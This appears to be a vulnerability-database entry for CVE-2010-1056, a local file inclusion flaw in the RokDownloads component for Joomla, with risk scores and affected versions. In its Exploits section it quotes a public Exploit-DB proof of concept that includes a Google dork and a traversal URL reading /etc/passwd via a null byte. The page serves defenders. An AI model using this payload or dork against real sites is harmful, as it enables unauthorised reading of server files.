CVE-2010-1056

medium

Published 2010-03-23 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

7.8

Description

Directory traversal vulnerability in the RokDownloads (com_rokdownloads) component before 1.0.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-11760 webapps php verified text · 1 KB

AtT4CKxT3rR0r1ST · 2010-03-15

Joomla! Component com_rokdownloads - Local File Inclusion

text exploit Source: Exploit-DB

####################################################################
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
.:. Team : Sec Attack Team
.:. Home : www.sec-attack.com/vb
.:. Script : Joomla Component com_rokdownloads
.:. Bug Type : Local File Inclusion [LFI]
.:. Dork : inurl:"com_rokdownloads"

####################################################################

===[ Exploit ]===

www.site.com/index.php?option=com_rokdownloads&controller=[LFI]
www.site.com/index.php?option=com_rokdownloads&controller=../../../../../../../../../../etc/passwd%00

####################################################################

Application impact

Vendor	Product	Versions
rockettheme	com_rokdownloads	`{"endIncluding":"1.0"}`
rockettheme	com_rokdownloads	`0.91`
rockettheme	com_rokdownloads	`0.92`
rockettheme	com_rokdownloads	`0.93`
rockettheme	com_rokdownloads	`0.94`
rockettheme	com_rokdownloads	`0.95`
rockettheme	com_rokdownloads	`0.96`
rockettheme	com_rokdownloads	`0.97`
rockettheme	com_rokdownloads	`0.98`
rockettheme	com_rokdownloads	`1.0`
joomla	joomla\!

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.